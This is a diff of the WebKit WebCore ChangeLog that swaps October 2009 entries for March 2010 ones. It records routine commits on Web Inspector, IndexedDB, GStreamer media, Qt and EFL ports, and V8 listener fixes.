-        Web Inspector: Introduce inspected object groups for console
-        and watch evaluation results so that they could be released
-        explicitly.
-
-        https://bugs.webkit.org/show_bug.cgi?id=29891
-
-        * bindings/js/JSInspectorBackendCustom.cpp:
-        (WebCore::JSInspectorBackend::wrapObject):
-        * bindings/v8/custom/V8InspectorBackendCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * inspector/InspectorBackend.cpp:
-        (WebCore::InspectorBackend::wrapObject):
-        (WebCore::InspectorBackend::releaseWrapperObjectGroup):
-        * inspector/InspectorBackend.h:
-        * inspector/InspectorBackend.idl:
-        * inspector/InspectorController.cpp:
-        (WebCore::InspectorController::clearConsoleMessages):
-        (WebCore::InspectorController::resetScriptObjects):
-        (WebCore::InspectorController::wrapObject):
-        (WebCore::InspectorController::unwrapObject):
-        (WebCore::InspectorController::releaseWrapperObjectGroup):
-        * inspector/InspectorController.h:
-        * inspector/InspectorFrontend.cpp:
-        (WebCore::InspectorFrontend::addMessageToConsole):
-        * inspector/front-end/ConsoleView.js:
-        (WebInspector.ConsoleView.prototype.evalInInspectedWindow):
-        (WebInspector.ConsoleView.prototype.doEvalInWindow):
-        (WebInspector.ConsoleView.prototype._enterKeyPressed):
-        * inspector/front-end/InjectedScript.js:
-        (InjectedScript.evaluate):
-        (InjectedScript._evaluateAndWrap):
-        (InjectedScript.evaluateInCallFrame):
-        * inspector/front-end/ScriptsPanel.js:
-        (WebInspector.ScriptsPanel.prototype.evaluateInSelectedCallFrame):
-        (WebInspector.ScriptsPanel.prototype.doEvalInCallFrame):
-        * inspector/front-end/WatchExpressionsSidebarPane.js:
-        (WebInspector.WatchExpressionsSidebarPane):
-        (WebInspector.WatchExpressionsSection.prototype.update):
-
-2009-10-02  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
-
-        Reviewed by Eric Carlson.
-
-        Move mediaControls extras for the Qt port into WebCore/css like other ports
+2010-03-10  Antonio Gomes  <tonikitoo@webkit.org>
 
-        https://bugs.webkit.org/show_bug.cgi?id=30013
+        Reviewed by Dave Hyatt.
+        Patch by Antonio Gomes <tonikitoo@webkit.org>
 
-        * WebCore.pro:
-        * WebCore.qrc:
-        * css/mediaControlsQt.css: Renamed from WebCore/css/qt/mediaControls-extras.css.
-        * platform/qt/RenderThemeQt.cpp:
-        (WebCore::RenderThemeQt::extraMediaControlsStyleSheet):
+        Extend keyboard navigation to allow directional navigation (Manual tests)
+        https://bugs.webkit.org/show_bug.cgi?id=18662
 
-2009-10-02  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
+        Adds a manual tests for the Spatial Navigation feature comprasing varios
+        Html focusable elements (e.g. <a>, <table>, <iframe>) and much of the logic
+        provided by the feature.
 
-        Reviewed by Eric Carlson.
+        * manual-tests/spatial-navigation/links.html: Added.
+        * manual-tests/spatial-navigation/spatial-navigation-test-cases.html: Added.
 
-        Rename WebCore/css/mediaControlsQT.css and MediaControllerThemeQT
+2010-03-10  Leandro Pereira  <leandro@profusion.mobi>
 
-        https://bugs.webkit.org/show_bug.cgi?id=30013
+        Reviewed by Kenneth Rohde Christiansen.
 
-        The QT suffix has been expanded to QuickTime, to not cause confusion
-        and name-crashes with similar files in the Qt port.
+        Add EFL port files to platform/efl.
+        http://webkit.org/b/35890
 
-        * DerivedSources.make:
-        * WebCore.xcodeproj/project.pbxproj:
-        * css/mediaControlsQuickTime.css: Renamed from WebCore/css/mediaControlsQT.css.
-        * rendering/RenderThemeMac.mm:
-        (WebCore::):
-        (WebCore::mediaControllerTheme):
-        (WebCore::RenderThemeMac::adjustSliderThumbSize):
-        (WebCore::getUnzoomedRectAndAdjustCurrentContext):
-        (WebCore::RenderThemeMac::extraMediaControlsStyleSheet):
+        * platform/efl/ScrollbarEfl.h: Added.
+        * platform/efl/ScrollbarThemeEfl.h: Added.
 
-2009-10-04  Brian Weinstein  <bweinstein@apple.com>
+2010-03-10  Pavel Feldman  <pfeldman@chromium.org>
 
         Reviewed by Timothy Hatcher.
-        
-        Fixes <https://bugs.webkit.org/show_bug.cgi?id=30064>
-        Syntax Highlighting CSS shouldn't be duplicated.
 
-        Refactor syntax highlighting CSS into a new file, add it to the
-        projects, and have SourceFrame.js and inspector.html include the
-        new CSS file.
+        Web Inspector: Audits panel needs an icon.
+        Landing icon attached by Timothy. Enabling panel!
+
+        https://bugs.webkit.org/show_bug.cgi?id=35945
 
         * WebCore.gypi:
-        * WebCore.vcproj/WebCore.vcproj:
-        * inspector/front-end/SourceFrame.js:
-        (WebInspector.SourceFrame.prototype._loaded):
-        * inspector/front-end/inspector.css:
-        * inspector/front-end/inspector.html:
-        * inspector/front-end/inspectorSyntaxHighlight.css: Added.
+        * inspector/front-end/Images/auditsIcon.png: Added.
         * inspector/front-end/WebKit.qrc:
-
-2009-10-04  Brian Weinstein  <bweinstein@apple.com>
-
-        Reviewed by Timothy Hatcher.
-        
-        Fixes <https://bugs.webkit.org/show_bug.cgi?id=30062>
-        Inspector should syntax highlight JS/CSS in elements view.
-
-        Add syntax highlighting of CSS and JavaScript tags to the elements panel.
-        Copied CSS rules from SourceFrame.js to inspector.css, and have the text nodes
-        in utilities.js call the CSS or JS Syntax highlighters if their parent is a script
-        or style tag.
-
         * inspector/front-end/inspector.css:
-        * inspector/front-end/utilities.js:
 
-2009-10-04  Fumitoshi Ukai  <ukai@chromium.org>
+2010-03-10  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
 
-        Reviewed by Eric Seidel
+        Roll-out r55657, as Xan noticed a bad degradation in playing
+        youtube HTML5 videos with it, that is fixed with it
+        reverted. Looks like we'll need to work a bit more on this.
 
-        Enable Web Sockets in chromium build.
-        https://bugs.webkit.org/show_bug.cgi?id=29917
-
-        * WebCore.gyp/WebCore.gyp:
-
-2009-10-04  Xan Lopez  <xlopez@igalia.com>
-
-        Reviewed by Gustova Noronha.
+        * platform/graphics/gstreamer/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::MediaPlayerPrivate::MediaPlayerPrivate):
+        (WebCore::MediaPlayerPrivate::~MediaPlayerPrivate):
+        (WebCore::MediaPlayerPrivate::volumeChangedTimerFired):
+        (WebCore::MediaPlayerPrivate::volumeChanged):
+        (WebCore::MediaPlayerPrivate::processBufferingStats):
+        (WebCore::MediaPlayerPrivate::fillTimerFired):
+        (WebCore::MediaPlayerPrivate::maxTimeLoaded):
+        (WebCore::MediaPlayerPrivate::updateStates):
+        (WebCore::MediaPlayerPrivate::muteChangedTimerFired):
+        (WebCore::MediaPlayerPrivate::muteChanged):
+        * platform/graphics/gstreamer/MediaPlayerPrivateGStreamer.h:
 
-        [GTK] performs a POST when refreshing a view that was obtained with a GET
-        https://bugs.webkit.org/show_bug.cgi?id=29761
+2010-03-10  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
 
-        Update the HTTP method in the request stored by willSendRequest
-        after a redirect, since it could have changed.
+        Rubber-stamped by Xan Lopez.
 
-        Test: http/tests/navigation/postredirect-reload.html
+        Fix ready state when buffering under PLAYING. We should not go
+        back to HaveNothing in that case.
 
-        * platform/network/soup/ResourceHandleSoup.cpp:
-        (WebCore::restartedCallback):
+        * platform/graphics/gstreamer/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::MediaPlayerPrivate::updateStates):
 
-2009-10-04  Xan Lopez  <xlopez@igalia.com>
+2010-03-10  Ada Chan  <adachan@apple.com>
 
-        Revert previous patch, as the newly added test breaks other tests.
+        Reviewed by Adam Roben.
 
-        * platform/network/soup/ResourceHandleSoup.cpp:
-        (WebCore::restartedCallback):
+        https://bugs.webkit.org/show_bug.cgi?id=35976
 
-2009-10-04  Xan Lopez  <xlopez@igalia.com>
+        Retrieve any dwItemData that's set on the context menu item in contextMenuItemByIdOrPosition().
 
-        Reviewed by Gustova Noronha.
+        * platform/win/ContextMenuWin.cpp:
 
-        [GTK] performs a POST when refreshing a view that was obtained with a GET
-        https://bugs.webkit.org/show_bug.cgi?id=29761
+2010-03-10  Jeremy Orlow  <jorlow@chromium.org>
 
-        Update the HTTP method in the request stored by willSendRequest
-        after a redirect, since it could have changed.
+        Reviewed by Darin Fisher.
 
-        Test: http/tests/navigation/postredirect-reload.html
+        Add IndexedDatabase class and hook it up.
+        https://bugs.webkit.org/show_bug.cgi?id=35927
 
-        * platform/network/soup/ResourceHandleSoup.cpp:
-        (WebCore::restartedCallback):
+        This change is mostly just adding the plumbing necessary for
+        the IndexedDatabaseRequest and IndexedDatabaseSync (not written
+        yet).
 
-2009-10-04  Vitaly Repeshko  <vitalyr@chromium.org>
+        This code is non-functional, so no tests (yet).
 
-        Reviewed by Adam Barth.
+        * WebCore.gyp/WebCore.gyp:
+        * WebCore.gypi:
+        * platform/chromium/ChromiumBridge.h:
+        * storage/IndexedDatabase.cpp: Added.
+        (WebCore::IndexedDatabase::get):
+        * storage/IndexedDatabase.h: Added.
+        (WebCore::IndexedDatabase::~IndexedDatabase):
+        * storage/IndexedDatabaseImpl.cpp: Added.
+        (WebCore::IndexedDatabaseImpl::get):
+        (WebCore::IndexedDatabaseImpl::IndexedDatabaseImpl):
+        (WebCore::IndexedDatabaseImpl::~IndexedDatabaseImpl):
+        (WebCore::IndexedDatabaseImpl::open):
+        * storage/IndexedDatabaseImpl.h: Added.
+        * storage/chromium/IndexedDatabase.cpp: Added.
+        (WebCore::IndexedDatabase::get):
+
+2010-03-05  Dimitri Glazkov  <dglazkov@chromium.org>
 
-        [V8] Fixed Function leak in V8LazyEventListener.
-        (Should fix the remaning leak in
-        https://bugs.webkit.org/show_bug.cgi?id=29093).
-        V8LazyEventListeners used to create FunctionTemplates for each
-        wrapped listener which in turn created Functions that were cached
-        forever in V8 Context. Now there is at most one such Function per
-        Context.
-        https://bugs.webkit.org/show_bug.cgi?id=30060
+        Reviewed by Sam Weinig.
 
-        Added new hidden property name to store toString result:
-        * bindings/v8/V8HiddenPropertyName.cpp:
-        * bindings/v8/V8HiddenPropertyName.h:
+        Add one more parent check during node removal.
+        https://bugs.webkit.org/show_bug.cgi?id=35818
 
-        Switched to static FunctionTemplate:
-        * bindings/v8/V8LazyEventListener.cpp:
-        (WebCore::V8LazyEventListenerToString):
-        (WebCore::V8LazyEventListener::prepareListenerObject):
+        Test: fast/dom/Node/mutation-blur.html
 
-2009-10-03  Joseph Pecoraro  <joepeck@webkit.org>
+        * dom/ContainerNode.cpp:
+        (WebCore::ContainerNode::removeChild): Added check.
 
-        Reviewed by Timothy Hatcher.
+2010-03-10  Pavel Feldman  <pfeldman@chromium.org>
 
-        CSS Source View Should be Syntax Highlighted
-        https://bugs.webkit.org/show_bug.cgi?id=14359
+        Not reviewed: added missing quote into localized strings.
 
-          Support for WebKit's CSS Variables @variables and var()
+        * English.lproj/localizedStrings.js:
 
-        * inspector/front-end/SourceFrame.js:
-        (WebInspector.CSSSourceSyntaxHighligher):
+2010-03-10  Jeremy Orlow  <jorlow@chromium.org>
 
-2009-10-03  Joseph Pecoraro  <joepeck@webkit.org>
+        Commit files that were supposed to go in with the last checkin.
 
-        Reviewed by Timothy Hatcher.
+2010-03-10  Jeremy Orlow  <jorlow@chromium.org>
 
-        Inspector should remember preferences for docked/undocked etc
-        https://bugs.webkit.org/show_bug.cgi?id=29089
+        Reviewed by Dimitry Glazkov.
 
-        * inspector/front-end/ResourcesPanel.js:
-        (WebInspector.ResourcesPanel.prototype._toggleLargerResources): toggle the preference
-        * inspector/front-end/inspector.js:
-        (WebInspector._loadPreferences): factored out loading preferences
-        (WebInspector.loaded):
+        Baby steps towards IndexedDB: Start implementing callbacks.
+        https://bugs.webkit.org/show_bug.cgi?id=35911
 
-2009-10-03  Joseph Pecoraro  <joepeck@webkit.org>
+        This patch adds some infastructure for IndexedDB callbacks in V8.
+        It also adds a stub of IDBDatabaseRequest.  In the near future,
+        I'll gut the event based implementation code, flesh out IDBReqest
+        further, and start plumbing IndexedDatabaseRequest.
 
-        Reviewed by Timothy Hatcher.
+        Code is not testible because it doesn't work (yet).
 
-        CSS Source View Should be Syntax Highlighted
-        https://bugs.webkit.org/show_bug.cgi?id=14359
+        * WebCore.gypi:
+        * bindings/v8/DOMObjectsInclude.h:
+        * bindings/v8/V8Index.cpp:
+        * bindings/v8/V8Index.h:
+        * bindings/v8/custom/V8CustomIDBCallback.h: Added.
+        (WebCore::V8CustomIDBCallback::create):
+        (WebCore::V8CustomIDBCallback::~V8CustomIDBCallback):
+        (WebCore::V8CustomIDBCallback::handleEvent):
+        (WebCore::V8CustomIDBCallback::V8CustomIDBCallback):
+        * bindings/v8/custom/V8IndexedDatabaseRequestCustom.cpp:
+        (WebCore::V8IndexedDatabaseRequest::openCallback):
+        * storage/IDBDatabaseRequest.h: Added.
+        (WebCore::IDBDatabaseRequest::request):
+        * storage/IDBDatabaseRequest.idl: Added.
+        * storage/IndexedDatabaseRequest.idl:
+
+2010-03-10  Holger Hans Peter Freyther  <zecke@selfish.org>
 
-          Trigger the Syntax Highlighter for CSS files.
+        Reviewed by Simon Hausmann.
 
-        * inspector/front-end/SourceFrame.js:
-        (WebInspector.SourceFrame.prototype.syntaxHighlightJavascript):
-        (WebInspector.SourceFrame.prototype.syntaxHighlightCSS):
-        * inspector/front-end/SourceView.js:
-        (WebInspector.SourceView.prototype._contentLoaded):
+        [Qt] Non animated gifs are animated in QtWebKit
+        https://bugs.webkit.org/show_bug.cgi?id=35955
 
-          Factored out the Syntax Highlighting procedure into a "Class"
-          Added CSSSourceSyntaxHighlighter and JavaScriptSourceSyntaxHighlighter
+        Properly map Qt animated and non-animated values to WebCore's
+        understanding of animated and non-animated images. Currently
+        we can not map anything to the cAnimationLoopNone value.
 
-        (WebInspector.SourceSyntaxHighligher):
-        (WebInspector.SourceSyntaxHighligher.prototype.createSpan):
-        (WebInspector.SourceSyntaxHighligher.prototype.process.processChunk):
-        (WebInspector.SourceSyntaxHighligher.prototype.process):
-        (WebInspector.CSSSourceSyntaxHighligher): the CSS Highlighter
-        (WebInspector.JavaScriptSourceSyntaxHighligher): the JS Highlighter
+        * manual-tests/qt/qt-anim.gif: Added.
+        * manual-tests/qt/qt-gif-test.html: Added.
+        * manual-tests/qt/qt-noanim.gif: Added.
+        * platform/graphics/qt/ImageDecoderQt.cpp:
+        (WebCore::ImageDecoderQt::repetitionCount):
 
-2009-10-03  Adam Barth  <abarth@webkit.org>
+2010-03-07  Holger Hans Peter Freyther  <zecke@selfish.org>
 
-        Reviewed by Sam Weinig.
+        Reviewed by Darin Adler.
 
-        Factor back-forward list methods out of FrameLoader
-        https://bugs.webkit.org/show_bug.cgi?id=30037
+        [CAIRO] DoS on iexploder test with high text stroke width.
+        https://bugs.webkit.org/show_bug.cgi?id=33759
 
-        This change moves these back-forward related methods from FrameLoader
-        to Page.  It's possible we should move these methods into some kind of
-        "page controller" object, but we can figure that out in a future patch.
+        Specifying a big text stroke width can make WebKitGTK+ spend
+        a very long time in the cairo library for stroking the path of
+        the text. The best way to prevent this from happening right now
+        is to not stroke paths with a certain width. Samuel proposed to
+        not stroke with a width that is twice the width of the text. The
+        reason to use twice the text width is that even one stroke of
+        any charachter to be drawn would cover the full width.
 
-        * loader/FrameLoader.cpp:
-        * loader/FrameLoader.h:
-        * loader/RedirectScheduler.cpp:
-        (WebCore::RedirectScheduler::timerFired):
-        * page/ContextMenuController.cpp:
-        (WebCore::ContextMenuController::contextMenuItemSelected):
-        * page/DOMWindow.cpp:
-        (WebCore::DOMWindow::close):
-        * page/History.cpp:
-        (WebCore::History::length):
-        * page/Page.cpp:
-        (WebCore::Page::canGoBackOrForward):
-        (WebCore::Page::goBackOrForward):
-        (WebCore::Page::getHistoryLength):
-        * page/Page.h:
-        * platform/ContextMenu.cpp:
-        (WebCore::ContextMenu::populate):
-        (WebCore::ContextMenu::checkOrEnableIfNeeded):
+        Test: fast/text/text-stroke-width-cairo-dos.html
 
-2009-10-02  Pavel Feldman  <pfeldman@chromium.org>
+        * platform/graphics/cairo/FontCairo.cpp:
+        (WebCore::Font::drawGlyphs):
 
-        Reviewed by Timothy Hatcher.
+2010-03-10  Andrey Kosyakov  <caseq@chromium.org>
 
-        Web Inspector: prepare InspectorController for being used from layout tests.
-        This change adds evaluateForTestInFrontend method with the callback that
-        allows evaluating arbitrary code in the frontend context.
+        Reviewed by Pavel Feldman.
 
-        https://bugs.webkit.org/show_bug.cgi?id=30008
+        Web Inspector: display list of active workers & support debugging
+        with fake workers.
+        https://bugs.webkit.org/show_bug.cgi?id=35568
 
-        * WebCore.Inspector.exp:
-        * WebCore.order:
-        * inspector/InspectorBackend.cpp:
-        (WebCore::InspectorBackend::didEvaluateForTestInFrontend):
-        * inspector/InspectorBackend.h:
-        * inspector/InspectorBackend.idl:
+        * English.lproj/localizedStrings.js:
+        * WebCore.gypi:
+        * WebCore.vcproj/WebCore.vcproj:
+        * bindings/js/JSInjectedScriptHostCustom.cpp:
+        (WebCore::InjectedScriptHost::createInjectedScript):
+        (WebCore::InjectedScriptHost::injectedScriptFor):
+        * bindings/v8/custom/V8InjectedScriptHostCustom.cpp:
+        (WebCore::InjectedScriptHost::createInjectedScript):
+        (WebCore::InjectedScriptHost::injectedScriptFor):
+        * dom/Document.cpp:
+        (WebCore::Document::inspectorController):
+        * dom/Document.h:
+        * dom/ScriptExecutionContext.h:
+        (WebCore::ScriptExecutionContext::inspectorController):
+        * inspector/InjectedScriptHost.cpp:
+        (WebCore::InjectedScriptHost::InjectedScriptHost):
+        (WebCore::InjectedScriptHost::injectScript):
+        (WebCore::InjectedScriptHost::nextWorkerId):
+        (WebCore::InjectedScriptHost::didCreateWorker):
+        (WebCore::InjectedScriptHost::willDestroyWorker):
+        * inspector/InjectedScriptHost.h:
+        * inspector/InjectedScriptHost.idl:
         * inspector/InspectorController.cpp:
         (WebCore::InspectorController::populateScriptObjects):
-        (WebCore::InspectorController::evaluateForTestInFrontend):
-        (WebCore::InspectorController::didEvaluateForTestInFrontend):
+        (WebCore::InspectorController::resetScriptObjects):
+        (WebCore::InspectorController::didCommitLoad):
+        (WebCore::InspectorController::didCreateWorker):
+        (WebCore::InspectorController::willDestroyWorker):
         * inspector/InspectorController.h:
         * inspector/InspectorFrontend.cpp:
-        (WebCore::InspectorFrontend::evaluateForTestInFrontend):
+        (WebCore::InspectorFrontend::didCreateWorker):
+        (WebCore::InspectorFrontend::willDestroyWorker):
         * inspector/InspectorFrontend.h:
-        * inspector/front-end/inspector.js:
-        (WebInspector.evaluateForTestInFrontend):
-
-2009-10-02  Pavel Feldman  <pfeldman@chromium.org>
-
-        Reviewed by Timothy Hatcher.
-
-        Web Inspector: Node search mode is not getting reset on element selection.
-
-        https://bugs.webkit.org/show_bug.cgi?id=30016
-
-        * inspector/front-end/ElementsPanel.js:
-        (WebInspector.ElementsPanel.this.treeOutline.focusedNodeChanged):
-
-2009-10-02  Brian Weinstein  <bweinstein@apple.com>
-
-        Reviewed by Timothy Hatcher.
-
-        Fixes <https://bugs.webkit.org/show_bug.cgi?id=30036>
-        Should be able to resize Cookie Columns.
-
-        * inspector/front-end/CookieItemsView.js:
-        (WebInspector.CookieItemsView.prototype.update.callback):
-        (WebInspector.CookieItemsView.prototype.update):
-        (WebInspector.CookieItemsView.prototype.resize):
-
-2009-09-25  Jon Honeycutt  <jhoneycutt@apple.com>
-
-        Make WebCore::PluginView participate in plug-in halting.
-
-        Reviewed by Sam Weinig.
-
-        * platform/graphics/BitmapImage.h:
-        Declare a create() function that takes an HBITMAP.
-
-        * platform/graphics/win/ImageCGWin.cpp:
-        (WebCore::BitmapImage::create):
-        Use GetObject() to fill out a DIBSECTION structure for the given
-        HBITMAP. Call CGBitmapContextCreate() to create a CG context from the
-        bits of the bitmap. Create a CG image from the context, and pass this
-        when creating a new BitmapImage.
-
-        * plugins/PluginView.cpp:
-        (WebCore::PluginView::start):
-        If we successfully started, tell our parent frame's Page.
-        (WebCore::PluginView::stop):
-        Tell our parent frame's Page that we stopped.
-        (WebCore::PluginView::node):
-
-        * plugins/PluginView.h:
-        Inherit from HaltablePlugin.
-        (WebCore::PluginView::setPlatformPluginWidget):
-        On platforms where the platform plug-in widget is the WebCore::Widget's
-        platform widget, have setPlatformPluginWidget() call
-        setPlatformWidget().
-
-        * plugins/PluginViewNone.cpp:
-        (WebCore::PluginView::halt):
-        Stubbed.
-        (WebCore::PluginView::restart):
-        Stubbed.
-
-        * plugins/gtk/PluginViewGtk.cpp:
-        (WebCore::PluginView::halt):
-        Stubbed.
-        (WebCore::PluginView::restart):
-        Stubbed.
-
-        * plugins/mac/PluginViewMac.cpp:
-        (WebCore::PluginView::halt):
-        Stubbed.
-        (WebCore::PluginView::restart):
-        Stubbed.
-
-        * plugins/qt/PluginViewQt.cpp:
-        (WebCore::PluginView::halt):
-        Stubbed.
-        (WebCore::PluginView::restart):
-        Stubbed.
-
-        * plugins/win/PluginViewWin.cpp:
-        (WebCore::PluginView::platformDestroy):
-        After destroying the window, set the platform plug-in widget to 0 to
-        ensure that Widget isn't holding a stale handle.
-        (WebCore::PluginView::halt):
-        Have our element's RenderWidget display a screenshot of the plug-in,
-        then stop the plug-in and destroy it.
-        (WebCore::PluginView::restart):
-        Clear the RenderWidget's substitute image, then start the plug-in.
-
-        * rendering/RenderWidget.cpp:
-        (WebCore::RenderWidget::showSubstituteImage):
-        Set m_substituteImage to the passed image, and repaint.
-        (WebCore::RenderWidget::paint):
-        If we have a substitute image, paint that instead of allowing the
-        widget to paint itself.
-
-        * rendering/RenderWidget.h:
-        Declare showSubstituteImage(). Added a member to store the substitute
-        image.
-
-2009-10-02  Adam Barth  <abarth@webkit.org>
-
-        Reviewed by Darin Adler.
-
-        Move PolicyCheck out of FrameLoader.{h,cpp}
-        https://bugs.webkit.org/show_bug.cgi?id=30035
-
-        Purely code motion (and adding a destructor).
-
-        * GNUmakefile.am:
-        * WebCore.gypi:
-        * WebCore.pro:
-        * WebCore.vcproj/WebCore.vcproj:
-        * WebCore.xcodeproj/project.pbxproj:
-        * loader/FrameLoader.cpp:
-        * loader/FrameLoader.h:
-        * loader/PolicyCheck.cpp:
-        * loader/PolicyCheck.h:
-
-2009-10-02  Jocelyn Turcotte  <jocelyn.turcotte@nokia.com>
-
-        Reviewed by Tor Arne Vestbø.
-
-        [Qt] Add NPNVToolkit value quirk in plugins for nspluginwrapper.
-        Plugin error message was:
-        ERROR: failed to initialize brower-side RPC events listener
-        https://bugs.webkit.org/show_bug.cgi?id=25053
-
-        (WebCore::staticPluginQuirkRequiresGtkToolKit_NPN_GetValue):
-        (WebCore::PluginPackage::load):
-
-2009-10-02  Jocelyn Turcotte  <jocelyn.turcotte@nokia.com>
-
-        Reviewed by Tor Arne Vestbø.
-
-        [Qt] X sync our XEmbed container window creation before sending the
-        xid to plugins.
-        https://bugs.webkit.org/show_bug.cgi?id=25053
-
-        * plugins/qt/PluginViewQt.cpp:
-        (WebCore::PluginView::setNPWindowIfNeeded):
-
-2009-10-02  Simon Fraser  <simon.fraser@apple.com>
-
-        Reviewed by Dan Bernstein.
-
-        Setting zero size on a container of a video element doesn't hide the controller
-        https://bugs.webkit.org/show_bug.cgi?id=30031
-        
-        Fix a logic error in enclosingCompositingLayer() when mixing normal flow and 
-        positioned layers. This resulted in enclosingCompositingLayer() giving back a different
-        answer to the logic used to actually parent compositing layers, so layer positions
-        and layer hierarchy would be out of agreement.
-        
-        Test: compositing/geometry/clipped-video-controller.html
-
-        * rendering/RenderLayer.cpp:
-        (WebCore::compositingContainer):
-        (WebCore::RenderLayer::enclosingCompositingLayer):
-        * rendering/RenderLayerCompositor.cpp:
-        (WebCore::RenderLayerCompositor::setCompositingParent):
+        * inspector/InspectorWorkerResource.h: Added.
+        (WebCore::InspectorWorkerResource::create):
+        (WebCore::InspectorWorkerResource::id):
+        (WebCore::InspectorWorkerResource::url):
+        (WebCore::InspectorWorkerResource::isSharedWorker):
+        (WebCore::InspectorWorkerResource::InspectorWorkerResource):
+        * inspector/front-end/Checkbox.js: Added.
+        (WebInspector.Checkbox.callbackWrapper):
+        (WebInspector.Checkbox):
+        (WebInspector.Checkbox.prototype.checked):
+        * inspector/front-end/InjectedFakeWorker.js:
+        (InjectedFakeWorker.FakeWorker):
+        (InjectedFakeWorker.FakeWorker.prototype.terminate):
+        (InjectedFakeWorker.FakeWorker.prototype._handleException):
+        (InjectedFakeWorker.FakeWorker.prototype._importScripts):
+        (InjectedFakeWorker.FakeWorker.prototype._loadScript):
+        (InjectedFakeWorker.FakeWorker.prototype._expandURLAndCheckOrigin):
+        * inspector/front-end/ScriptsPanel.js:
+        (WebInspector.ScriptsPanel):
+        (WebInspector.ScriptsPanel.prototype.debuggerWasEnabled):
+        (WebInspector.ScriptsPanel.prototype.debuggerWasDisabled):
+        (WebInspector.ScriptsPanel.prototype.reset):
+        * inspector/front-end/StylesSidebarPane.js:
+        (WebInspector.StylePropertiesSection.showInheritedToggleFunction):
+        (WebInspector.StylePropertiesSection):
+        * inspector/front-end/WebKit.qrc:
+        * inspector/front-end/WorkersSidebarPane.js: Added.
+        (WebInspector.WorkersSidebarPane):
+        (WebInspector.WorkersSidebarPane.prototype.addWorker):
+        (WebInspector.WorkersSidebarPane.prototype.removeWorker):
+        (WebInspector.WorkersSidebarPane.prototype.setInstrumentation):
+        (WebInspector.WorkersSidebarPane.prototype.reset):
+        (WebInspector.WorkersSidebarPane.prototype._onTriggerInstrument):
+        (WebInspector.Worker):
+        (WebInspector.didCreateWorker):
+        (WebInspector.willDestroyWorker):
+        * inspector/front-end/inspector.css:
+        * inspector/front-end/inspector.html:
+        * workers/AbstractWorker.cpp:
+        (WebCore::AbstractWorker::AbstractWorker):
+        (WebCore::AbstractWorker::~AbstractWorker):
+        (WebCore::AbstractWorker::onDestroyWorker):
+        (WebCore::AbstractWorker::contextDestroyed):
+        * workers/AbstractWorker.h:
+        (WebCore::AbstractWorker::id):
+        * workers/SharedWorker.cpp:
+        (WebCore::SharedWorker::SharedWorker):
+        * workers/Worker.cpp:
+        (WebCore::Worker::Worker):
 
-2009-10-02  Kent Tamura  <tkent@chromium.org>
+2010-03-10  Roland Steiner  <rolandsteiner@chromium.org>
 
-        Reviewed by Eric Seidel.
+        Unreviewed build fix. Fix variable name change that somehow didn't
+        make it into the patch.
 
-        - Move the following methods of HTMLInputElement and HTMLTextAreaElement
-          to HTMLTextFormControlElement.
-           setSelectionStart()
-           setSelectionEnd()
-           select()
-           setSelectionRange()
-           selectionStart()
-           selectionEnd()
-           selection()
+2010-03-10  Roland Steiner  <rolandsteiner@chromium.org>
 
-        - Introduce cachedSelectionStart() and cachedSelectionEnd().
+        Reviewed by David Levin.
 
-        - Unify HTMLInputElement::isTextFieldWithRenderer() and
-         HTMLTextAreaElement::rendererAfterUpdateLayout() into textRendererAfterUpdateLayout().
+        Bug 28293 -  [Chromium] event.datatransfer.getdata("text/uri-list") is treated the same as getdata("URL")
+        https://bugs.webkit.org/show_bug.cgi?id=28293
         
-        - Unify a part of parseMappedAttribute() of HTMLInputElement and HTMLTextAreaElement.
-
-        https://bugs.webkit.org/show_bug.cgi?id=29782
-
-        * html/HTMLFormControlElement.cpp:
-        (WebCore::HTMLTextFormControlElement::textRendererAfterUpdateLayout):
-        (WebCore::HTMLTextFormControlElement::setSelectionStart):
-        (WebCore::HTMLTextFormControlElement::setSelectionEnd):
-        (WebCore::HTMLTextFormControlElement::select):
-        (WebCore::HTMLTextFormControlElement::setSelectionRange):
-        (WebCore::HTMLTextFormControlElement::selectionStart):
-        (WebCore::HTMLTextFormControlElement::selectionEnd):
-        (WebCore::HTMLTextFormControlElement::selection):
-        (WebCore::HTMLTextFormControlElement::parseMappedAttribute):
-        * html/HTMLFormControlElement.h:
-        * html/HTMLInputElement.cpp:
-        (WebCore::HTMLInputElement::parseMappedAttribute):
-        * html/HTMLInputElement.h:
-        (WebCore::HTMLInputElement::select):
-        (WebCore::HTMLInputElement::cachedSelectionStart):
-        (WebCore::HTMLInputElement::cachedSelectionEnd):
-        * html/HTMLTextAreaElement.cpp:
-        (WebCore::HTMLTextAreaElement::parseMappedAttribute):
-        * html/HTMLTextAreaElement.h:
-        (WebCore::HTMLTextAreaElement::cachedSelectionStart):
-        (WebCore::HTMLTextAreaElement::cachedSelectionEnd):
-
-2009-10-02  Vitaly Repeshko  <vitalyr@chromium.org>
-
-        Reviewed by Dimitri Glazkov.
-
-        [V8] Disconnect event listeners on navigation.
-        Fixes http://crbug.com/23597.
-        https://bugs.webkit.org/show_bug.cgi?id=30027
-
-        Added V8ListenerGuard that is shared by listeners and proxy. On
-        navigation proxy sets a flag in the guard turning off listeners.
-
-        * bindings/v8/V8AbstractEventListener.cpp:
-        (WebCore::V8AbstractEventListener::V8AbstractEventListener):
-        * bindings/v8/V8AbstractEventListener.h:
-        (WebCore::V8ListenerGuard::create):
-        (WebCore::V8ListenerGuard::isDisconnected):
-        (WebCore::V8ListenerGuard::disconnectListeners):
-        (WebCore::V8ListenerGuard::V8ListenerGuard):
-        (WebCore::V8AbstractEventListener::disconnected):
-        * bindings/v8/V8DOMWrapper.cpp:
-        (WebCore::V8DOMWrapper::getEventListener):
-        * bindings/v8/V8EventListenerList.h:
-        (WebCore::V8EventListenerList::findOrCreateWrapper):
-        * bindings/v8/V8LazyEventListener.cpp:
-        (WebCore::V8LazyEventListener::V8LazyEventListener):
-        * bindings/v8/V8Proxy.cpp:
-        (WebCore::V8Proxy::V8Proxy):
-        (WebCore::V8Proxy::disconnectFrame):
-        (WebCore::V8Proxy::disconnectEventListeners):
-        (WebCore::V8Proxy::clearForNavigation):
-        * bindings/v8/V8Proxy.h:
-        (WebCore::V8Proxy::listenerGuard):
-        * bindings/v8/V8WorkerContextEventListener.cpp:
